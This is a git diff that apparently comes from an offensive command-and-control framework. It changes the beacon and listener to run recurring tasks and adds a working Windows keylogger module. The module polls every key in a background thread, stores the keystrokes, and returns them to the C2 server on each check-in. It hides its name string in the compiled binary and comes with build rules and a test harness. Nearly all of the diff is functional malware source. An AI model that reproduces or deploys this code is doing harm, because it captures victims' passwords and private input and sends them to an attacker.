diff --git a/beacon/Beacon.cpp b/beacon/Beacon.cpp index c2d9871..26cea30 100644 --- a/beacon/Beacon.cpp +++ b/beacon/Beacon.cpp @@ -356,7 +356,16 @@ bool Beacon::taskResultsToCmd(std::string& output) // Execute the right module corresponding to the command received from the C2 bool Beacon::runTasks() { - // Handle every task adress to this beacon and put results in a list that will be use to create the response message + for(auto it = m_moduleCmd.begin() ; it != m_moduleCmd.end(); ++it ) + { + C2Message c2RetMessage; + int result = (*it)->recurringExec(c2RetMessage); + + if(result) + m_taskResult.push(c2RetMessage); + } + + // Handle every task adress to this beacon and put results in a list that will be usse to create the response message while(!m_tasks.empty()) { C2Message c2Message = m_tasks.front(); diff --git a/listener/Listener.cpp b/listener/Listener.cpp index bf4bfc3..1eaa6c1 100644 --- a/listener/Listener.cpp +++ b/listener/Listener.cpp @@ -409,10 +409,10 @@ bool Listener::handleMessages(const std::string& input, std::string& output) const C2Message& c2Message = bundleC2Message->c2messages(j); // TODO what happen to thos taskResult for listeners that are managed by beacons - if(!c2Message.returnvalue().empty() || c2Message.errorCode()>0) - { - addTaskResult(c2Message, beaconHash); - } + // if(!c2Message.returnvalue().empty() || c2Message.errorCode()>0) + // { + addTaskResult(c2Message, beaconHash); + // } // Handle instruction that have impact on this Listener diff --git a/modules/KeyLogger/CMakeLists.txt b/modules/KeyLogger/CMakeLists.txt new file mode 100644 index 0000000..f77b98e --- /dev/null +++ b/modules/KeyLogger/CMakeLists.txt @@ -0,0 +1,14 @@ +include_directories(../) +add_library(KeyLogger SHARED KeyLogger.cpp) +target_link_libraries(KeyLogger ) +add_custom_command(TARGET KeyLogger POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy +$ "${CMAKE_SOURCE_DIR}/Release/Modules/$") + +# if(WITH_TESTS) + add_executable(testsKeyLogger tests/testsKeyLogger.cpp KeyLogger.cpp) + target_link_libraries(testsKeyLogger ) + add_custom_command(TARGET testsKeyLogger POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy + $ "${CMAKE_SOURCE_DIR}/Tests/$") + + add_test(NAME testsKeyLogger COMMAND "${CMAKE_SOURCE_DIR}/Tests/$") +# endif() \ No newline at end of file diff --git a/modules/KeyLogger/KeyLogger.cpp b/modules/KeyLogger/KeyLogger.cpp new file mode 100644 index 0000000..6c4f7e4 --- /dev/null +++ b/modules/KeyLogger/KeyLogger.cpp @@ -0,0 +1,245 @@ +#include "KeyLogger.hpp" + +#include "Common.hpp" + +#ifdef _WIN32 +#include +#include +#endif + +#include + +using namespace std; + + +// Compute hash of moduleName at compile time, so the moduleName string don't show in the binary +constexpr std::string_view moduleName = "keyLogger"; +constexpr unsigned long moduleHash = djb2(moduleName); + +#ifdef _WIN32 + +__declspec(dllexport) KeyLogger* KeyLoggerConstructor() +{ + return new KeyLogger(); +} + +#else + +__attribute__((visibility("default"))) KeyLogger* KeyLoggerConstructor() +{ + return new KeyLogger(); +} + +#endif + +KeyLogger::KeyLogger() +#ifdef BUILD_TEAMSERVER + : ModuleCmd(std::string(moduleName), moduleHash) +#else + : ModuleCmd("", moduleHash) +#endif +{ + m_isThreadLaunched=false; +} + +KeyLogger::~KeyLogger() +{ +} + +std::string KeyLogger::getInfo() +{ + std::string info; +#ifdef BUILD_TEAMSERVER + info += "keyLogger:\n"; + info += "keyLogger \n"; + info += "exemple:\n"; + info += "- keyLogger start\n"; + info += "- keyLogger stop\n"; + info += "- keyLogger dump\n"; +#endif + return info; +} + +int KeyLogger::init(std::vector &splitedCmd, C2Message &c2Message) +{ +#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) + if (splitedCmd.size() >= 2 ) + { + if(splitedCmd[1]=="start") + { + c2Message.set_instruction(splitedCmd[0]); + c2Message.set_args(splitedCmd[1]); + } + else if(splitedCmd[1]=="stop") + { + c2Message.set_instruction(splitedCmd[0]); + c2Message.set_args(splitedCmd[1]); + } + else if(splitedCmd[1]=="dump") + { + std::string output = "Dump:\n"; + output+=m_saveKeyStrock; + c2Message.set_returnvalue(output); + m_saveKeyStrock=""; + return -1; + } + else + { + c2Message.set_returnvalue(getInfo()); + return -1; + } + } + else + { + c2Message.set_returnvalue(getInfo()); + return -1; + } +#endif + return 0; +} + + +int KeyLogger::recurringExec(C2Message& c2RetMessage) +{ + std::string output; + dumpKeys(output); + + c2RetMessage.set_instruction("keyLogger"); + // TODO manage to send the has, but seems to be different from windows to linux + // c2RetMessage.set_instruction(std::to_string(getHash())); + c2RetMessage.set_data(output); + + return 1; +} + + +int KeyLogger::followUp(const C2Message &c2RetMessage) +{ + m_saveKeyStrock+=c2RetMessage.data(); + + return 0; +} + + +void KeyLogger::run(void* keyLoggerPtr) +{ +#ifdef __linux__ +#elif _WIN32 + + KeyLogger* data = (KeyLogger*)keyLoggerPtr; + + while (data->getIsThreadLaunched()) + { + // note looking ofr backspace + // for (int i = 0x8; i < 0xFE; i++) + for (int i = 0x8; i < 0xFE; i++) + { + if (i != VK_LSHIFT + && i != VK_RSHIFT + && i != VK_SHIFT + && i != VK_LCONTROL + && i != VK_RCONTROL + && i != VK_CONTROL + && i != VK_LMENU + && i != VK_RMENU + && i != VK_MENU) + { + short keyState = GetAsyncKeyState(i); + + if ((keyState & 0x01)) + { + HKL keyboardLayout = GetKeyboardLayout(0); + + bool lowercase = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0); + + if ((GetKeyState(VK_SHIFT) & 0x1000) != 0 + || (GetKeyState(VK_LSHIFT) & 0x1000) != 0 + || (GetKeyState(VK_RSHIFT) & 0x1000) != 0) + { + lowercase = !lowercase; + } + + UINT key = MapVirtualKeyExA(i, MAPVK_VK_TO_CHAR, keyboardLayout); + + if(key!=0) + { + BYTE keystate[256]; + GetKeyboardState(keystate); + + char finalCharPressed; + int nchars = ToAscii( i, key, keystate, (LPWORD)&finalCharPressed, 0); + + data->setKey(finalCharPressed); + } + } + } + } + } + +#endif +} + + +#define ERROR_ALREADY_LAUNCHED 1 +#define ERROR_ALREADY_STOPED 2 +#define ERROR_UNKNOWN 3 + + +int KeyLogger::process(C2Message &c2Message, C2Message &c2RetMessage) +{ + c2RetMessage.set_instruction(c2Message.instruction()); + std::string args = c2Message.args(); + + if( args == "start") + { + if(m_isThreadLaunched==false) + { + m_isThreadLaunched=true; +#ifdef __linux__ +#elif _WIN32 + CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) KeyLogger::run, this, 0, (LPDWORD)&this->threadID); +#endif + c2RetMessage.set_returnvalue("launched"); + } + else + { + c2RetMessage.set_errorCode(ERROR_ALREADY_LAUNCHED); + } + } + else if( args == "stop") + { + if(m_isThreadLaunched==true) + { + m_isThreadLaunched=false; + c2RetMessage.set_returnvalue("stoped"); + } + else + { + c2RetMessage.set_errorCode(ERROR_ALREADY_STOPED); + } + } + else + { + c2RetMessage.set_errorCode(ERROR_UNKNOWN); + } + + return 0; +} + + +int KeyLogger::errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg) +{ +#ifdef BUILD_TEAMSERVER + int errorCode = c2RetMessage.errorCode(); + if(errorCode>0) + { + if(errorCode==ERROR_ALREADY_LAUNCHED) + errorMsg = "Failed: Already launched"; + else if(errorCode==ERROR_ALREADY_STOPED) + errorMsg = "Failed: Already stoped"; + else if(errorCode==ERROR_UNKNOWN) + errorMsg = "Failed: error unknown"; + } +#endif + return 0; +} diff --git a/modules/KeyLogger/KeyLogger.hpp b/modules/KeyLogger/KeyLogger.hpp new file mode 100644 index 0000000..2365fa5 --- /dev/null +++ b/modules/KeyLogger/KeyLogger.hpp @@ -0,0 +1,62 @@ +#pragma once + +#include "ModuleCmd.hpp" +#include + + +class KeyLogger : public ModuleCmd +{ + +public: + KeyLogger(); + ~KeyLogger(); + + std::string getInfo(); + + int init(std::vector& splitedCmd, C2Message& c2Message); + int process(C2Message& c2Message, C2Message& c2RetMessage); + int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg); + + int recurringExec(C2Message& c2RetMessage); + int followUp(const C2Message &c2RetMessage); + + bool getIsThreadLaunched() + { + return m_isThreadLaunched; + } + + int setKey(char charPressed) + { + std::lock_guard guard(m_mutex); + m_saveKeyStrock.push_back(charPressed); + return 0; + } + + int dumpKeys(std::string& output) + { + std::lock_guard guard(m_mutex); + output = m_saveKeyStrock; + m_saveKeyStrock.clear(); + return 0; + } + +private: + int threadID; + bool m_isThreadLaunched; + std::string m_saveKeyStrock; + std::mutex m_mutex; + + static void run(void* keyLoggerPtr); + +}; + + +#ifdef _WIN32 + +extern "C" __declspec(dllexport) KeyLogger * KeyLoggerConstructor(); + +#else + +extern "C" __attribute__((visibility("default"))) KeyLogger * KeyLoggerConstructor(); + +#endif diff --git a/modules/KeyLogger/tests/testsKeyLogger.cpp b/modules/KeyLogger/tests/testsKeyLogger.cpp new file mode 100644 index 0000000..964345d --- /dev/null +++ b/modules/KeyLogger/tests/testsKeyLogger.cpp @@ -0,0 +1,55 @@ +#include "../KeyLogger.hpp" + +#ifdef __linux__ +#elif _WIN32 +#include +#endif + +#include +#include + + +bool testKeyLogger(); + +int main() +{ + bool res; + + std::cout << "[+] testKeyLogger" << std::endl; + res = testKeyLogger(); + if (res) + std::cout << "[+] Sucess" << std::endl; + else + std::cout << "[-] Failed" << std::endl; + + return 0; +} + +bool testKeyLogger() +{ + + std::unique_ptr keyLogger = std::make_unique(); + { + C2Message c2Message; + c2Message.set_instruction("keyLogger"); + c2Message.set_args("start"); + + C2Message c2RetMessage; + keyLogger->process(c2Message, c2RetMessage); + + std::this_thread::sleep_for (std::chrono::seconds(20)); + + keyLogger->recurringExec(c2RetMessage) ; + keyLogger->followUp(c2RetMessage); + + std::vector splitedCmd; + splitedCmd.push_back("keyLogger"); + splitedCmd.push_back("get"); + C2Message c2MessageFinal; + keyLogger->init(splitedCmd, c2MessageFinal); + + std::cout << "Result:\n" << c2MessageFinal.returnvalue() << std::endl; + } + + return true; +} diff --git a/modules/ModuleCmd/ModuleCmd.hpp b/modules/ModuleCmd/ModuleCmd.hpp index 1dca98c..41b5d6d 100644 --- a/modules/ModuleCmd/ModuleCmd.hpp +++ b/modules/ModuleCmd/ModuleCmd.hpp @@ -596,6 +596,7 @@ public: virtual int process(C2Message& c2Message, C2Message& c2RetMessage) = 0; virtual int followUp(const C2Message &c2RetMessage) {return 0;}; virtual int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg) {return 0;}; + virtual int recurringExec (C2Message& c2RetMessage) {return 0;}; protected: std::string m_name;